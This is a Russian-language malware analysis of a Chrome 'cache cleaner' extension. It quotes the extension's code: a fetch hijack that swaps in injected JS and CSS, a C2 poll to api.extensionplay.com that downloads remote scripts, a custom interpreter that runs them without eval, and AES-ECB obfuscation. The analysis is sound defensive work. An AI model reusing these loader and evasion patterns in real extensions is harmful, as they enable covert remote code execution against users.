Введение
Расширения браузера давно стали одной из самых удобных и недооценённых точек атаки. Пользователь добровольно устанавливает код, который:
работает постоянно;
обновляется без ведома пользователя;
имеет доступ к сетевым запросам, страницам и хранилищу браузера;
исполняется в доверенном контексте.
В этой статье разобрано расширение «Мастер очистки: лучший очиститель кэша Chrome», позиционируемое как расширение в браузере для очистки, но по факту реализующее классическую вредоносную архитектуру, включающую:
удалённое управление (C2);
динамическую подгрузку кода;
выполнение JavaScript, полученного с сервера;
подмену сетевых запросов (man-in-the-browser);
криптографическую маскировку;
обфускацию и сокрытие логики от анализа.
Общая архитектура расширения
В background-контексте (service worker) сразу бросается в глаза следующая конструкция:
importScripts( '/background/encrypt-bundle.js', '/background/interpreter.js' );
Что это означает
код разделён на модули;
присутствует кастомный интерпретатор;
отсутствует прямой
eval, что затрудняет статический анализ.
Это типичный приём вредоносного ПО, позволяющий:
загружать код динамически;
исполнять его в обход простых сигнатур;
скрывать реальную логику от ревью.
Ключ хранения и маскировка
const key = 'fuck'; let runOnce = !1, fuckDataArr;
Особенности:
ключ в
chrome.storageназываетсяfuck;основной массив данных —
fuckDataArr.
Это не случайность, а осознанная маскировка:
ухудшение читаемости;
снижение шансов на ручной аудит;
демонстративное игнорирование поддержки и легитимности.
Перехват сетевых запросов (Fetch Hijacking)
self.addEventListener('fetch', e => { if (fuckDataArr) { const n = e.request; var t = fuckDataArr.find( e => chrome.runtime.getURL(e.proxy_url) === n.url ); if (t) { const r = new Headers(); t.type === 'css' ? r.set('Content-Type', 'text/css') : r.set('Content-Type', 'text/javascript'); e.respondWith( new Response(t.src_str, { headers: r }) ); } } });
Что здесь происходит
service worker перехватывает все fetch-запросы;
если URL совпадает с
proxy_url, возвращается подменённый ресурс;контент может быть JS или CSS.
Возможности атаки
внедрение JS/CSS в любые страницы;
подмена ресурсов без ведома пользователя;
полноценная man-in-the-browser атака;
обход CSP и сетевых политик.
Динамическая загрузка команд с сервера (C2)
const xxx = async () => { let e = await get(key); if (!e || !e.nextUpdateTime || e.nextUpdateTime < Date.now()) { const t = await fetch( 'https://api.extensionplay.com/clean_master/t.json?t=' + Date.now() ).then(e => e.json());
Критический момент
Расширение регулярно обращается к удалённому серверу:
https://api.extensionplay.com/clean_master/t.json
И получает JSON с командами, полностью контролируемый оператором.
Загрузка удалённого JavaScript
await Promise.all( t.map(r => new Promise((resolve, reject) => { if (!r.src_str && r.src) { const n = new URL(r.src); n.searchParams.set('t', Date.now()); fetch(n.toString()) .then(e => e.ok && e.text()) .then(e => e && (r.src_str = e)) .then(resolve) .catch(reject); } else resolve(); }) ) );
Что это значит
сервер передаёт URL скрипта;
расширение скачивает код в рантайме;
сохраняет его в памяти / storage;
код отсутствует в пакете расширения.
Выполнение удалённого кода через интерпретатор
e.data.forEach(e => { if (Array.isArray(e.run_on)) { if (!e.run_on.includes('bg')) return; } else if (e.run_on !== 'bg') return; e.src_str && interpreter.run( e.src_str, globalThis || self || window || {} ); });
Ключевые моменты
выполняется любой JavaScript, полученный с сервера;
выполнение идёт в background-контексте;
используется кастомный
interpreter.run.
Это удалённое выполнение кода (RCE) внутри расширения.
Межпроцессное управление
chrome.runtime.onMessage.addListener((r, e, s) => { return get(key) .then(e => { const t = e && e.data || []; const n = r.run_on; s(t.filter(e => { if (Array.isArray(e.run_on)) return e.run_on.includes(n); return e.run_on === n; })); }) .catch(() => {}); return true; });
Назначение
content-script’ы получают команды;
централизованное управление поведением;
динамическое включение функций.
Кастомный JavaScript‑интерпретатор вместо eval
В расширении присутствует объёмный скомпилированный модуль, экспортируемый как interpreter, начинающийся с конструкции UMD:
!function(t,e){ "object"==typeof exports&&"object"==typeof module ? module.exports=e() : "function"==typeof define&&define.amd ? define([],e) : "object"==typeof exports ? exports.interpreter=e() : t.interpreter=e() }(self,function(){ ... })
Этот код не является частью бизнес‑логики расширения.
Это полноценный интерпретатор JavaScript, включающий:
собственную реализацию
Scope,ScopeVar,PropVar;поддержку
var / let / const;управление областями видимости;
работу с
this,module,exports;парсинг AST через
acorn(ecmaVersion: 5);ручной обход и выполнение синтаксического дерева.
Что именно происходит
Функция выполнения выглядит следующим образом:
e.run = function(code) { const scope = new Scope("block"); scope.$const("this", this); const module = {}; scope.$const("module", { exports: module }); scope.$const("exports", module); execute(parse(code), scope); return scope.$find("module").$get().exports; };
То есть:
JavaScript не исполняется напрямую;
код сначала парсится в AST;
затем интерпретируется вручную;
выполняется в полностью контролируемом контексте.
Зачем вредоносному расширению собственный интерпретатор
Использование такого механизма не имеет ни одного легитимного применения в утилите очистки кэша.
Он нужен для:
Обхода детектирования
отсутствует
eval,new Function,setTimeout(code)сигнатурные анализаторы не видят RCE
Обхода ревью Chrome Web Store
код в пакете «безопасный»
реальная логика загружается и исполняется позже
Динамического исполнения payload’ов
сервер передаёт любой JS
он выполняется даже при жёстких CSP
Изоляции и контроля среды
оператор решает, какие глобальные объекты доступны
можно подменять
window,fetch,document,chrome
Признак вредоносной платформы
Подобная архитектура характерна для:
браузерных ботнетов;
ad‑fraud платформ;
click‑inject сетей;
скрытых прокси / MITB‑инжекторов;
malware‑loader’ов.
Ни одно легитимное расширение не реализует собственный JS‑движок.
Криптографическая маскировка (AES)
В расширении используется browserify-bundle библиотеки crypto-js.
Ключевая часть:
const CryptoJS = require("crypto-js"); exports.encode = function(data, key) { return CryptoJS.AES.encrypt( data, CryptoJS.enc.Utf8.parse(key), { mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.Pkcs7 } ).toString(); };
Характеристики шифрования
Параметр | Значение |
|---|---|
Алгоритм | AES |
Режим | ECB |
Padding | PKCS7 |
Формат | Base64 |
Почему это важно
AES-ECB не используется для безопасности;
он используется для:
сокрытия конфигураций;
шифрования команд;
маскировки payload’ов;
обхода статического анализа.
Зачем вредоносному расширению криптография
1. Сокрытие C2-логики
Команды и конфигурации:
хранятся зашифрованными;
дешифруются только в рантайме.
2. Маскировка сетевого трафика
DPI и сигнатуры не видят JSON или JS.
3. Динамическая доставка кода
сервер AES
C2
payload
decrypt
interpreter.run()
Код:
отсутствует в Chrome Web Store;
появляется после установки;
полностью контролируется оператором.
Итоговая архитектура

Вывод
Расширение «Мастер очистки: лучший очиститель кэша Chrome» — это:
не баг
не небрежный код
не «сомнительная оптимизация»
Это полноценная вредоносная платформа, обладающая:
удалённым центром управления;
механизмом доставки и исполнения команд;
подменой сетевого трафика;
криптографической маскировкой;
сокрытием логики от анализа;
полной независимостью от обновлений Chrome Web Store.
Функциональность расширения может быть изменена в любой момент, и пользователь не имеет над этим никакого контроля.
